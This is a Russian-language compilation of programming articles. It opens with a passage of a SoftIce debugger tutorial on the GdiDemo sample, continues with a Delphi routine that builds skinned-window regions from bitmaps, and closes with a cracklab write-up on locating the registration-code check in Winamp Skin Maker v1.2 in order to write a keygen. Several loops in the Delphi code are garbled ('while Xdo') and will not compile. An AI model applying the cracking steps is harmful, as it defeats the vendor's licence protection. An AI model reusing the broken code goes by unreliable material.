окна больше или равен четырем строчкам). Изменение значений регистров – подведите курсор к тому регистру, значение которого хотите изменить, нажмите левую кнопку мыши и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте. Изменение значений флагов – подведите курсор к тому флагу, который хотите изменить, нажмите левую кнопку мыши, после чего клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая установлен). Изменение значений ячеек памяти – подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить, нажмите левую кнопку мыши и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте. Примечание: во всех случаях изменения значений они вступают в силу после того, как вы переключитесь в любое другое окно, до этого можно отменить последнее изменение, нажав Esc. Установка точек останова на исполнение – подведите курсор к той строке в Code Window, в которой хотите остановиться, и двойным щелчком по левой кнопке мыши поставьте точку останова, строка подсветится. Удаление из Watch Window переменных – установите курсор на переменную, которую хотите удалить, нажмите левую кнопку мыши, переменная подсветиться, нажмите кнопку Del – переменная исчезнет. Контекстное меню – по правой кнопке мыши вы попадаете в контекстное меню, в котором вам доступны команды: Copy – копировать в буфер обмена адрес или данные, находящиеся под курсором. Paste – вставить в окно команд, адрес или данные находящиеся в буфере обмена Copy&Paste - копировать в буфер обмена адрес или данные, находящиеся под курсором, и вставить их в окно команд. Display – вывести в окно данных дамп памяти, расположенный по адресу, над которым в данный момент находиться курсор (Аналог команды D). Un-Assemble – вывести в Code Window исходный (если есть отладочная информация) или дизассемблированный текст программы, находящийся по адресу, над которым в данный момент находиться курсор (Аналог команды U). What – идентифицирует значение, находящееся под курсором с заранее определенными (Аналог команды Wath). Previous – отменяет предыдущую команду, введенную из контекстного меню (работает с командами Display и Un-Assemble). 2.2 Управление с помощью клавиатуры: Можете делать все то же самое, но будет отсутствовать контекстное меню и буфер обмена. Изменение размера окна – размер (в строках) непосредственно задается в команде открытия окна, если нужно. WC – открыть окно кода (Code Window). WD – открыть окно данных (Data Window). WF – открыть окно FPU Stack (FPU Stack Window). WL – открыть окно локальных переменных (Locals Window). WR – открыть окно регистров (Register Window). WW – открыть окно слежения (Watch Window). Повторный ввод этих команд без параметров закрывает соответствующие окна, с параметрами – меняет размер. По умолчанию курсор находиться в окне команд. Переместить курсор в нужное окно можно следующими комбинациями клавиш (если вы находитесь в окне команд (Command Windows)): Перейти в окно кода (Code Window)Alt-C Перейти в окно данных (Data Window)Alt-D Перейти в окно локальных переменных (Locals Window)Alt-L Перейти в окно регистров (Register Window)Alt-R Перейти в окно слежения (Watch Window)Alt-W В окно сопроцессора курсор переместить нельзя. Повторное нажатие этих клавиш возвратит вас обратно в окно команд (все вышесказанное действительно и для Code Window). В окне данных переключиться между дампами в HEX и ASCII формате можно с помощью клавиши Tab, с ее же помощью можно переходить между регистрами в окне регистров. Скроллинг на одну строку – переходите в нужное окно и клавишами управления курсор вверх и курсор вниз скроллируете окно. Скроллинг на экран - переходите в нужное окно и клавишами PageUp и PageDown скроллируете окно. Примечание: Code и Data Window можно скроллировать и не переключаясь в них из окна команд, для этого нужно кроме управляющих клавиш удерживать еще Alt для Data Window и Ctrl для Code Window. Изменение значений регистров – перейдите в окно регистров, подведите курсор к тому регистру, значение которого хотите изменить и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте, нажатие Enter подтверждает изменение, Esc отменяет. Изменение значений флагов – перейдите в окно регистров, подведите курсор к тому флагу, который хотите изменить. После чего, клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая - установлен), Enter можно не нажимать. Изменение значений ячеек памяти – перейдите в окно данных, подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте. Нажатие Enter или переход к следующему числу подтверждает изменение, Esc отменяет. Установка точек останова на исполнение – в окне команд наберите команду BPX и введите адрес строки, на которой хотите остановиться. Удаление из Watch Window переменных – перейдите в Watch Window, установите курсор на переменную, которую хотите удалить, переменная подсветиться, нажмите кнопку Del – переменная исчезнет. После небольшой лекции по управлению SoftIce можно заняться и собственно отладкой. Так как мы отлаживаем программу, написанную на языке высокого уровня и с отладочной информацией, то можем отключить окно регистров и окно данных, и включить Locals Window, что бы видеть какие параметры передаются в процедуры (т.е. WD,WR,WL при условии, что пользовались настройками приведенными выше). Что бы посмотреть какие из исходных текстов программы были загружены - дайте команду FILE *. На экране в окне команд вы увидите имена файлов содержащих исходные тексты программы GdiDemo: Bounce.c, Wininfo.c, Poly.c, Maze.c, Init.c, Draw.c, Dialog.c, Xform.c, Gdidemo.c. Так как окно команд обычно небольшое, то вы увидите несколько первых имен файлов. В строке помощи будет присутствовать надпись "Press any key to continue; Esc to cancel", вы можете с помощью клавиши Enter. Получить следующую строку с именем файла, или, нажав на пробел, получить следующую порцию строк с именами файлов (действительно для всех сообщений выводимых в окне команд). Если в процессе изучения листинга программы вы забрались слишком далеко от текущего значения EIP, то вернутся можно командой: :U EIP – дизасемблировать программу начина с текущего EIP адреса, либо командой; :. (точка) – переместиться к текущей исполняемой инструкции. 3. Трассировка программы. Воспользуйтесь командой T (trace) для того чтобы оттрассировать одну команду, или клавишей F8, которая закреплена по умолчанию за командой T. Произойдет выполнение команды находящейся в текущей строке и курсор перейдет на следующую строку и подсветит ее. Это строка: LpszLine=LpszLine; Еще раз нажмите F8, курсор передвинется на следующую строку: if(!hPrevInst). В Code Window вы видите исходный текст программы (source mode). Если вы хотите посмотреть дизассемблированный (code mode) текст программы или исходный и дизассемблированный (mixed mode) текст вместе, воспользуйтесь командой SRC или клавишей F3 закрепленной за этой командой. При первом нажатии вы увидите смешанный (исходный текст программы и ассемблерные инструкции, из которых состоит эта строка) текст, при втором нажатии дизассемблированный, третье нажатие вернет вас в режим просмотра исходного текста программы. Нажмите еще раз F8 и вы перейдете к строке if(!RegisterAppClass(hInst)); Для того, чтобы отлаживать программу, вы пользуетесь командой Т, которая исполняет один оператор исходной программы или одну машинную команду. Еще существует команда P или клавиша F10, которая выполняет один шаг в программе, т.е. при трассировке какой-либо функции или прерывания вы не получите управления до тех пор, пока выполнение функции не завершится, и вы не вернетесь из функции обратно. Команду P удобно применять в том случае, когда вы отлаживаете основной алгоритм и отвлекаться на трассировку каждой процедуры нерационально. Примечание: Командой T нельзя оттрассировать системные вызовы (WIN32 API calls) находясь в source mode, для их трассировки нужно перейти в mixed или code mode. 4. Просмотр локальных переменных. Окно Locals Window показывает текущий кадр стека. В нашем случае он содержит локальные переменные для функции WinMain. Командой T войдите в функцию RegisterAppClass, окно Locals Window станет пустым, так как для этой функции еще не определены локальные переменные. Функция RegisterAppClass находится в файле INIT.C. SoftIce показывает текущий файл в левом верхнем углу Code Window Введите команду T снова, окно Locals Window будет содержать параметр переданный функции RegisterAppClass (hInstance) и локальную структуру wndClass. Перед структурой стоит знак плюс, который означает что внутри находятся переменные, которые можно посмотреть (так же можно смотреть строковые переменные и массивы). Если у вас Pentium и вы пользуетесь мышкой, то посмотреть структуру можно два раза щелкнув по ней мышкой, знак + сменится на – и вы увидите переменные из которых состоит структура. Закрыть структуру можно так же (двойным щелчком мыши). Если вы пользуетесь клавиатурой то последовательность действий такова: жмем Alt-L для перехода в Locals Window, затем курсорными клавишами подводим светящуюся полоску к структуре, которую хотим посмотреть и нажимаем Enter. Если требуется закрыть ее, то нажимаем Enter еще раз. 5. Установка точек останова на выполнение. Точки останова на выполнение делятся на два вида: просто точки останова и однократные точки останова. Однократные точки останова: Перейдите в Code Window, используя клавишу PgDn переместите курсор на строку с номером 61 (тоже самое можно сделать используя команду U .61), в этой строке находиться первый вызов функции Win32 API RegisterClass. Используя команду HERE (клавиша F7) выполните программу до этой строки. Команда HERE устанавливает точку останова в программе на адрес или строку на которой находиться курсор и выполняет программу с текущего адреса до адреса на котором находиться курсор, т.е. до тех пор пока не сработает точка останова, после срабатывания SoftIce автоматически отключит эту точку останова, что бы она больше не срабатывала. Текущей строкой в отлаживаемой программе стала строка: If(!RegisterClass(&wndClass)) Примечание: того же самого результата можно было добиться если бы вы дали команду G .61 (исполнять программу до строки 61). Обычные точки останова. Следующие шаги демонстрируют использование обычных точек останова, т.е. таких которые будут срабатывать до тех пор пока вы их не отмените. Найдите следующий вызов функции RegisterClass, находящийся в строке 74. Установите курсор на эту строку и введите команду BPX (BreakPoint eXecutable) или клавишу F9 (по этой команде, в память на место команды расположенной под курсором записывается команда INT3, но вы этого не видите :-)). Строка должна подсветиться (если вы находитесь в code mode, то после команды BPX необходимо указать адрес строки на которую хотите поставить точку останова). Снять точку останова можно повторным вводом этой же команды. Если вы счастливый обладатель процессора Pentium, то процесс установки и снятия точки останова сводится к двойному щелчку левой кнопкой на той команде, где хотите поставить точку останова. После установки точки останова запустите программу командой G или X (клавиша F5). Когда программа исполнит инструкцию INT3, она передаст управление SoftIce, после чего он появиться перед вами. Посмотреть информацию об установленных точках останова можно командой BL (BreakPoint List): :BL 00) BPX #0137:00402442 (адрес может быть другим). Видим что установлена одна точка останова на исполнение по адресу 00402442, с порядковым номером 0. По этому адресу находиться команда, расположенная в текущем файле INIT.C в строке 74. Вы можете использовать вычисление выражений, для того чтобы получить адрес строки по ее номеру: :? .74 void * = 0x00402442 Так как дальнейшая пошаговая трассировка функции RegisterAppClass не имеет для нас смысла, вернемся в то место, откуда эта функция вызывалась. Для этого существует команда P с параметром RET (клавиша F12). Она позволяет выполнять программу до тех пор пока не встретит команду RET (RETF), исполнив эту команду SoftIce выйдет из подпрограммы и остановиться на строке следующей за вызовом этой подпрограммы. Применительно к нашей программе: функция RegisterAppClass вызывается из функции WinMain, SoftIce остановиться в функции WinMain на строке следующей за вызовом функции RegisterAppClass, т.е. подсвечена будет строка: Msg.wParam = 1; Воспользуйтесь командой BC (Breakpoint Clear) с номером точки останова, который вы посмотрели с помощью команды BL, для того, что бы убрать именно эту точку останова, или вместо номера введите *, тогда вы уберете все точки останова (можно вводить номера точек останова через запятую, если хотите убрать несколько точек). 6. Использование информационных команд. SoftIce имеет в своем распоряжении много разных команд, с помощью которых можно узнать состояние и получить иную информацию об операционной системе и запущенных в ней приложениях. Мы рассмотрим только две команды: H (Help) и CLASS. Эти команды выводят достаточно много информации в окне команд (Command Window), поэтому желательно увеличить размер этого окна, для этого закроем окно локальных переменных (Locals Window). По команда H можно получить помощь по всем командам SoftIce или более подробную информацию о конкретной команде, если введете ее имя в качестве аргумента команды H: :H CLASS Display window class information CLASS [-x] [task-name] Ex: CLASS USER Первая строка дает описание команды, вторая показывает информацию о синтаксисе и аргументах, которые могут использоваться в команде, третья строка содержит пример использования команды. Целью выполнения функции RegisterAppClass является регистрация шаблона для классов окон, которые будут использованы приложением GdiDemo для создания окон. Используя команду CLASS можно посмотреть зарегистрированные классы для GdiDemo: :CLASS GDIDEMO Результатом выполнения данной команды является информация о каждом зарегистрированном классе окна. Информация включает в себя: имя класса, адрес внутренней структуры данных WNDCLASS, модуль который зарегистрировал данный класс, адрес процедуры, которая обслуживает данный класс и состояние флагов стиля класса. Для получения подробной информации воспользуйтесь ключом –X.
Handle Class Name Owner WndwProc Styles
5110 BOUNCEDEMO GDIDEMO 2E9F:00000114 03000003
40AC DRAWDEMO GDIDEMO 2E9F:000000FE 03000003
409C MAZEDEMO GDIDEMO 2E9F:000000E8 03000003
3BC4 XFORMDEMO GDIDEMO 2E9F:000000D2 03000003
3BB4 POLYDEMO GDIDEMO 2E9F:000000BC 03000003
3A00 GDIDEMO GDIDEMO 2E9F:000000A6 03000003
7. Символьные имена. Когда вы загружаете приложение с отладочной информацией, SoftIce автоматически создает таблицу символьных имен которая содержит все имена, определенные в данном приложении. Используя команду TABLE можно посмотреть какие таблицы символьных имен загружены в настоящий момент: :TABLE GDIDEMO [NM32] 0001044741 Bytes Of Symbol Memory Available Используемая в данный момент таблица символьных имен выделена цветом. Если текущая таблица символьных имен не соответствует той на которую ссылается ваше приложение, то используя команду TABLE с именем вашего приложения в качестве аргумента, вы подключите нужную таблицу (если для вашего приложения создана таблица): :TABLE GDIDEMO Используя команду SYM вы можете посмотреть все символьные имена, определенные в текущей таблице (на экран выводятся по сегментам, внутри них в алфавитном порядке). Если интересует какие-то определенные имена, то используйте шаблоны: :SYM w*
.text (0137:00401000 , 000145C1 bytes)
0137:004012E0 WinMain
0137:00405700 WinMainCRTStartup
0137:004013AD WndProc
0137:0040AF50 wcslen
0137:0040C160 wcsncnt
0137:004107A0 wctomb
0137:0040FA50 write_char
0137:0040FAD0 write_multi_char
0137:0040FB20 write_string
На экране список всех символьных имен, начинающихся с буквы w, все они расположены в сегменте .text (выполняемый сегмент, он начинается с адреса 0137:00401000 и имеет длину 0145C1H байт), т.е. эти имена – имена функций и процедур входящие в приложение GDIDEMO. Данные находятся в сегментах .data, .rdata, .idata. 8. Условные точки останова. Одним из символов, определенных в приложении GDIDEMO, является функция LockWindowInfo. Назначение этой функции – возвращение адреса переменных, которые определяют свойства окна. Для того, чтобы ознакомиться с условными точками останова и точками останова на доступ к памяти, мы выполним следующие действий: Установим точку останова на функцию LockWindowInfo Отредактируем поставленную точку останова таким образом, чтобы она срабатывала по определенному нами условию. Установим точку останова на доступ к ячейки памяти, для того чтобы отследить обращения к этой ячейке. Установка точки останова на функцию LockWindowInfo. Командой BPX LockWindowInfo поставим точку останова на выполнение на эту функцию. Каждый раз, когда в одном из окон приложения GDIDEMO нужно будет обновить информацию, программой будет вызываться функция LockWindowInfo, так как на эту функцию поставлена точка останова, то будет вызываться SoftIce. Командой BL проверьте, установилась ли точка останова. Запустите приложение командой X или G. Как только будет вызвана функция LockWindowInfo, SoftIce всплывет. Так как обновление происходит постоянно, то постоянно вызывается и SoftIce, что очень неудобно, если нас интересует обновление какого-либо конкретного окна. Чтобы перехватить вызов на обновление конкретного окна, к примеру, POLYDEMO, воспользуемся условной точкой останова. Из исходного текста программы (файл wininfo.c) видно, что функция LockWindowInfo получает в качестве входного аргумента один параметр HWND (Handle Window) – дескриптор окна, и возвращает в вызывающую функцию одно значение – указатель на переменные для данного окна. То есть если бы мы заставили срабатывать точку останова только на обработчик окна POLYDEMO, мы бы добились своей цели. Для начала нам необходимо узнать дескриптор нашего окна, для этого воспользуемся командой: :HWND GDIDEMO
WindowHandle hQueue SZ Qowner ClassName WindowProcedure
0724(1) 10FF 32 GDIDEMO GDIDEMO 365F:000001C4
0728(2) 10FF 32 GDIDEMO MdiClient 17A7:00001988
0734(3) 10FF 32 GDIDEMO BOUNCEDEMO 365F:00000232
0730(3) 10FF 32 GDIDEMO POLYDEMO 365F:000001DA
072C(3) 10FF 32 GDIDEMO DRAWDEMO 365F:0000021c
дескриптор окна POLYDEMO имеет значение 0730, если в списке вы не увидели нужного окна, то запустите приложение клавишей X или G, опять сработает точка останова, проверьте, создалось ли окно, если нет, то повторите последние действия. Теперь можно останавливать исполнение программы только в том случае, когда в качестве параметра для функции LockWindowInfo используется значение 0730. В Windows параметры для функции обычно передаются через стек. При остановке в функции LockWindowInfo стек будет выглядеть следующим образом (посмотреть содержимое стека можно подведя курсор к регистру ESP, нажав правую кнопку мыши вызвать контекстное меню и выбрать команду Display, неплохо бы еще сменить командой DD формат вывода данных в DataWindow на показ двойных слов, так как наше приложение 32-разрядное): ESP = 0055FC00 013F:0055FC00 00404852 00000730 0055FC3C 00008CAA число 00404852 – это адрес, на который программа перейдет после завершения работы нашей функции (адрес возврата); число 00000730 – это дескриптор окна POLYDEMO (собственно то, что нас интересует); Теперь зная, где и что у нас передается в функцию, мы можем выставить условную точку останова. Для этого вызовем на редактирование точку останова, поставленную на функции LockWindowInfo: :BPE 0 в нижней строке командного окна появиться строка: :BPX LockWindowInfo и курсор установиться в конце строки, теперь можете редактировать точку останова по своему усмотрению, в конце строки добавьте следующее условие: IF ESP->4 == 00000730 и нажмите Enter. Точка останова теперь будет выглядеть так: :BPX LockWindowInfo IF ESP->4 == 00000730 То есть она будет срабатывать тогда, когда двойное слово по адресу ESP+4 будет равным числу 00000730, которое соответствует дескриптору окна POLYDEMO. Проверьте командой BL, соответствует ли точка останова заданной, запускайте приложение и убедитесь, что вся эта конструкция замечательно работает. Установим точку останова на доступ к первому двойному слову данных экземпляра окна POLYWINDOW. Как уже отмечалось выше, входным аргументом для функции LockWindowInfo является дескриптор окна, выходным адрес данных экземпляра окна. После срабатывания точки останова поставленной на функции LockWindowInfo с параметром соответствующим дескриптору окна POLYWINDOW, на выходе функции будем иметь адрес данных экземпляра окна POLYWINDOW, по этому адресу и поставим точку останова на доступ к памяти. Для того чтобы получить адрес данных экземпляра окна, выполним программу до строки с номером 57 (в файле WININFO.C): :G .57 функция возвращает 32-битное значение (в нашем случае адрес) в регистре EAX, поэтому можно используя команду BPMD (BreakPoint Memory Dword) и значение адреса в регистре EAX, поставить точку останова на доступ к первом слову данных экземляра окна POLYDEMO: :BPMD EAX Эта команда использует регистры аппаратной отладки встроенные в процессор для отслеживания чтения и записи двойного слова по указанному линейному адресу. В данном случае это первое слово данных экземпляра окна POLYDEMO. Используйте команду BL что бы проверить правильность установки точки останова. :BL 00) BPX LOCKWINDOWINFO IF ((ESP->4)==0x00000730) 01) BPMD #015F:0052006C RW DR3 Точка останова с номером 0 установлена на исполнение функции LockWindowInfo и точка останова с номером 1 стоит на доступ к памяти по адресу #015F:0052006C. Отключите 0 точку останова командой BD (Breakpoint Disable): :BD 0 В отличие от команды BC, которая удаляет точку останова, команда BD временно отключает точку, т.е. она не будет срабатывать, но ее в любой момент можно включить обратно командой BE (Breakpoint Enable). Отключенные точки останова выделяются звездочками рядом с порядковым номером точки останова. :BL 00) * BPX LOCKWINDOWINFO IF ((ESP->4)==0x00000730) 01) BPMD #015F:0052006C RW DR3 Запустите SoftIce командами X или G, когда окно POLYDEMO попытается получить доступ к первому двойному слову экземпляра данных окна, сработает точка останова и SoftIce всплывет, это будет происходить в функциях PolyRedraw и PolyDrawBez. Эти функции обращаются к полю nBezTotal, которое находиться по нулевому смещению в данных экземпляра окна POLYDEMO. Значение этого поля задает количество кривых одновременно выводимых в окно POLYDEMO. Примечание: Из-за особенностей архитектуры процессоров Intel перехват обращения к ячейки памяти произойдет после исполнения команды обращающейся к памяти, т.е. SoftIce осановиться на следующей команде. Сбросьте все точки останова командой BC * и выйдете из SoftIce.

Скины.

Статьи по Delphi (016)…

Немного предистории: надо было мне создать скиновое окошко. Вроде несложно, исходников по этому делу везде лежит навалом, бери да делай. Проблема организовалась в том, что для сложных фигур просчет такого окна из растра занимает достаточно много времени. А когда окон несколько? Короче, я решил все это дело написать самостоятельно, причем отказавшись от таких вещей, как GetPixel() и CombineRgn(). Получилось вроде здорово и быстро.

Далее следует исходный код с комментариями:

unit RgnUnit;
interface
uses
  Windows, SysUtils, Classes;
function CreateBitmapRgn(DC : hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
{
Данная функция создает регион, используя для этого растр Bitmap
и исключая из него цвет TransClr. Все расчеты производятся для
устройства DC.
данная функция состоит из двух частей:
первая часть выделяет память и копирует туда исходное изображение в формате
24 бита на точку, без палитры, т.е. фактически в каждых трех байтах
данного раздела памяти будет записан цвет точки исходного изображения.
Данный формат был выбран из удобства его обработки
(нет необходимости создавать палитру), к тому же нет потери качества
при конвертации исходного изображения. Однако, теоретически можно использовать
любой формат.
Для выделения памяти под конвертируемое изображение используется функция
WinAPI CreateDIBSection. Данная функция выделяет память и создает
независмый растр. Для вызова данной функции необходимо заполнить структуру
BITMAPINFO, что достаточно не сложно.
Внимание! для изображений Windows Bitmap используется разрешение в формате
dots per metr (pixels per metr), стандартному разрешению 72dpi соответствует
2834dpm.
Фактически, данную функция можно не использовать, вручную выделив память
для последующего переноса исходного изображения.
Для конвертации и переноса исходного изображения в выделнную память
используется функция WinAPI GetDIBits. Функции передаются следуюшие параметры:
исходное изображение, количество рядов для переноса, указатель на память,
куда следует перенести изображение, структура BITMAPINFO с заполнеными первыми
шестью членами (именно здесь задяются параметры для конвертирования
изображения). Фактически, данная функция может перевести любой исходный растр
в любой необходимый растр.
вторая чать описываемой функции проходится по области памяти, куда было
занесено конвертируемое изображение, отсекает ненужные области и содает регион.
Для создания региона используется функция WinAPI ExtCreateRegion. Для вызова
данной функции необходимо заполнить структуру RGNDATA, состоящую из структуры
RGNDATAHEADER и необходимого количества структур RECT. в Дельфи структура
RGNDATA описана так:
_RGNDATA = record
rdh: TRgnDataHeader;
Buffer: array[0..0] of CHAR;
Reserved: array[0..2] of CHAR;
end;
RGNDATA = _RGNDATA;
Скорее всего, поле Reserved было введено программистами Дельфи только для того,
чтобы в нее умещался хотя бы один прямоугольник, т.к. в Microsoft Platfrom SDK
этого поля нет. Однако, данная структура нам не подходит, т.к. нам необходимо
учитывать сразу несколько прямоугольников. Для решения этой задачи приходится
выделять память вручную, с учетом RGNDATAHEADER и количества прямоугольников,
необходимых нам, заносить туда прямоугольники (после RGNDATAHEADER),
создавать указатель на структуру RGNDATA и ставить его на выделнную память.
Следовательно, придется два раза пройтись по растру: первый раз - для расчета
количества прямоугольников, а второй - для уже фактического их занесения
в выделенную память.
Есть несколько способов для избежания двойного прохода растра, но все они
имеют свои недостатки и здесь не рассматриваются. В любом случае, даже для
больших и сложных изображений эти два прохода достаточно быстры.
по окнчании работы функции освобождается память, выделенная на конвертируемый
растр и структуру RGNDATA.
}
implementation
//создает регион из растра Bitmap для DC с удалением цвета TransClr
//внимание! TColorRef и TColor не одно и тоже.
//Для перевода используется функция ColorToRGB().
function CreateBitmapRgn(DC: hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
var
  bmInfo: TBitmap;               // структура BITMAP WinAPI
  W, H: Integer;                 // высота и ширина растра
  bmDIB: hBitmap;                // дискрептор независимого растра
  bmiInfo: BITMAPINFO;           // структура BITMAPINFO WinAPI
  lpBits, lpOldBits: PRGBTriple; // указатели на структуры RGBTRIPLE WinAPI
  lpData: PRgnData;              // указатель на структуру RGNDATA WinAPI
  X, Y, C, F, I: Integer;        // переменные циклов
  Buf: Pointer;                  // указатель
  BufSize: Integer;              // размер указателя
  rdhInfo: TRgnDataHeader;       // структура RGNDATAHEADER WinAPI
  lpRect: PRect;                 // указатель на TRect (RECT WinAPI)
begin
  Result:=0;
  //если растр не задан, выходим
  if Bitmap=0 then
    Exit;
  //узнаем размеры растра
  GetObject(Bitmap, SizeOf(bmInfo), @bmInfo);
  //используя структуру BITMAP
  W:=bmInfo.bmWidth;
  H:=bmInfo.bmHeight;
  //определяем смещение в байтах
  I:=(W*3)-((W*3) div 4)*4;
  if I<>0 then
    I:=4-I;
  //Пояснение: растр Windows Bitmap читается снизу вверх, причем каждая строка
  //дополняется нулевыми байтами до ее кратности 4.
  //для 32-х битный растров такой сдвиг делать не надо.
  //заполняем BITMAPINFO для передачи в CreateDIBSection
  bmiInfo.bmiHeader.biWidth:=W;            // ширина
  bmiInfo.bmiHeader.biHeight:=H;           // высота
  bmiInfo.bmiHeader.biPlanes:=1;           // всегда 1
  bmiInfo.bmiHeader.biBitCount:=24;        // три байта на пиксель
  bmiInfo.bmiHeader.biCompression:=BI_RGB; // без компрессии
  bmiInfo.bmiHeader.biSizeImage:=0;        // размер не знаем, ставим в ноль
  bmiInfo.bmiHeader.biXPelsPerMeter:=2834; // пикселей на метр, гор.
  bmiInfo.bmiHeader.biYPelsPerMeter:=2834; // пикселей на метр, верт.
  bmiInfo.bmiHeader.biClrUsed:=0;          // палитры нет, все в ноль
  bmiInfo.bmiHeader.biClrImportant:=0;     // то же
  bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); // размер структруы
  bmDIB:=CreateDIBSection(DC, bmiInfo, DIB_RGB_COLORS,
  Pointer(lpBits), 0, 0);
  //создаем независимый растр WxHx24, без палитры, в указателе lpBits получаем
  //адрес первого байта этого растра. bmDIB - дискрептор растра
  //заполняем первые шесть членов BITMAPINFO для передачи в GetDIBits
  bmiInfo.bmiHeader.biWidth:=W;            // ширина
  bmiInfo.bmiHeader.biHeight:=H;           // высота
  bmiInfo.bmiHeader.biPlanes:=1;           // всегда 1
  bmiInfo.bmiHeader.biBitCount:=24;        // три байта на пиксель
  bmiInfo.bmiHeader.biCompression:=BI_RGB; // без компресси
  bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); // размер структуры
  GetDIBits(DC, Bitmap, 0, H-1, lpBits, bmiInfo, DIB_RGB_COLORS);
  //конвертируем исходный растр в наш с его копированием по адресу lpBits
  lpOldBits:=lpBits; //запоминаем адрес lpBits
  //первый проход - подсчитываем число прямоугольников, необходимых для
  //создания региона
  C:=0; //сначала ноль
  //проход снизу вверх
  for Y:=H-1 downto 0 do
  begin
    X:=0;
    //от 0 до ширины-1
    while Xdo
    begin
      //пропускаем прзрачный цвет, увеличивая координату и указатель
      while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
      lpBits.rgbtBlue)=TransClr) and (Xdo
      begin
        Inc(lpBits);
        X:=X+1;
      end;
      //если нашли не прозрачный цвет, то считаем, сколько точек в ряду он идет
      if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
      lpBits.rgbtBlue)<>TransClr then
      begin
        while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
        lpBits.rgbtBlue)<>TransClr) and (Xdo
        begin
          Inc(lpBits);
          X:=X+1;
        end;
        //увиличиваем счетчик прямоугольников
        C:=C+1;
      end;
    end;
    //ряд закончился, необходимо увеличить указатель до кратности 4
    PChar(lpBits):=PChar(lpBits)+I;
  end;
  lpBits:=lpOldBits; //восстанавливаем значение lpBits
  //Заполняем структуру RGNDATAHEADER
  rdhInfo.iType:=RDH_RECTANGLES;     // будем использовать прямоугольники
  rdhInfo.nCount:=C;                 // их количество
  rdhInfo.nRgnSize:=0;               // размер выделяем памяти не знаем
  rdhInfo.rcBound:=Rect(0, 0, W, H); // размер региона
  rdhInfo.dwSize:=SizeOf(rdhInfo);   // размер структуры
  //выделяем память для струтуры RGNDATA:
  //сумма RGNDATAHEADER и необходимых на прямоугольников
  BufSize:=SizeOf(rdhInfo)+SizeOf(TRect)*C;
  GetMem(Buf, BufSize);
  //ставим указатель на выделенную память
  lpData:=Buf;
  //заносим в память RGNDATAHEADER
  lpData.rdh:=rdhInfo;
  //Заполдяенм память прямоугольниками
  lpRect:=@lpData.Buffer; //первый прямоугольник
  for Y:=H-1 downto 0 do
  begin
    X:=0;
    while Xdo
    begin
      while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
      lpBits.rgbtBlue)=TransClr) and (Xdo
      begin
        Inc(lpBits);
        X:=X+1;
      end;
      if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
      lpBits.rgbtBlue)<>TransClr then
      begin
        F:=X;
        while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
        lpBits.rgbtBlue)<>TransClr) and (Xdo
        begin
          Inc(lpBits);
          X:=X+1;
        end;
        lpRect^:=Rect(F, Y, X, Y+1); //заносим координаты
        Inc(lpRect); //переходим к следующему
      end;
    end;
    PChar(lpBits):=PChar(lpBits)+I;
  end;
  //после окночания заполнения структуры RGNDATA можно создавать регион.
  //трансформации нам не нужны, ставим в nil, указываем размер
  //созданной структуры и ее саму.
  //создаем регион
  Result:=ExtCreateRegion(nil, BufSize, lpData^);
  //теперь структура RGNDATA больше не нужна, удаляем
  FreeMem(Buf, BufSize);
  //созданный растр тоже удаляем
  DeleteObject(bmDIB);
end;
end.

Исследование Winamp Skin Maker v1.2.

Оформил: DeeCo Автор: http://www.cracklab.narod.ru

Предисловие Сама защита в этой программе - почти никакая, и все обычно ограничиваются нахождением кода для своего имени, а кейгенов я до сих пор не видел. Однако алгоритм генерации ключа если не сложный, то довольно муторный, и разбираться в не хочется. Но кейген писать придётся. Воспользуемся особенностью нашего человека - нестандартным мышлением. Приступим к делу. Что нам сейчас нужно: Softice 4.* Icedump 6.* - только для того, чтобы копировать текст из Sоftiсе"а на диск. Можете заменить его W32Dasm и ручкой с бумагой. Hiew 32 6.5 Delphi 4-6 (6 recommended). ResHacker, WinRar. Итак, запускаем программу(перед этим Softice и т.д.). Идем на Help->About->Register. Вводим РИ. Ставим брейкпоинт на hmemcpy. Жмем OK. Попадаем в Softice. Снимаем брейкпоинт. Теперь жмем F12 до тех пор, пока не вылезем в Skinner.exe. После этого наблюдаем следующее:
--------------------------------------------------byte--------------PROT---(0)--
-вырезано-
-------------------------------------------------------------------------PROT32-
 -вырезано-
016F:00406D7A        MOV       EDI,[USER32!GetDlgItemTextA]       
016F:00406D80         PUSH      ESI                                
016F:00406D81 CALL    EDI  (То есть USER32!GetDlgItemTextA) Name>      
016F:00406D83  LEA       EAX,[ESP+38]                       
016F:00406D87   PUSH      29                                 
016F:00406D89   PUSH      EAX                                
016F:00406D8A  PUSH      000003FD                           
016F:00406D8F   PUSH      ESI                                
016F:00406D90 CALL      EDI (То есть USER32!GetDlgItemTextA) Our reg.#>  
016F:00406D92    LEA       EAX,[ESP+0C]                       
016F:00406D96       PUSH      EAX                                
016F:00406D97 CALL      00407E30                            
016F:00406D9C      ADD       ESP,04                            
016F:00406D9F       MOV       EBX,EAX           
------------------------------------SKINNER!.text+5D64--------------------------
Break due to BPX KERNEL!HMEMCPY  (ET=1.26 seconds)                              
:bc *                                                                           
:/Screendump C:\f1.dos
Далее:
016F:00406DA1         LEA       EAX,[ESP+38]                      
016F:00406DA5         PUSH      EAX                                
016F:00406DA6  CALL  00407D00 
016F:00406DAB        ADD       ESP,04                             
016F:00406DAE         MOV       EDI,ЕАХТеперь в EDI результат (код)! 
016F:00406DB0          TEST      EDI,EDI        
016F:00406DB2           JNZ       00406DEB                            
И вот:
016F:00406DEB    CMP    ED(наш>,EBX(правильный>  
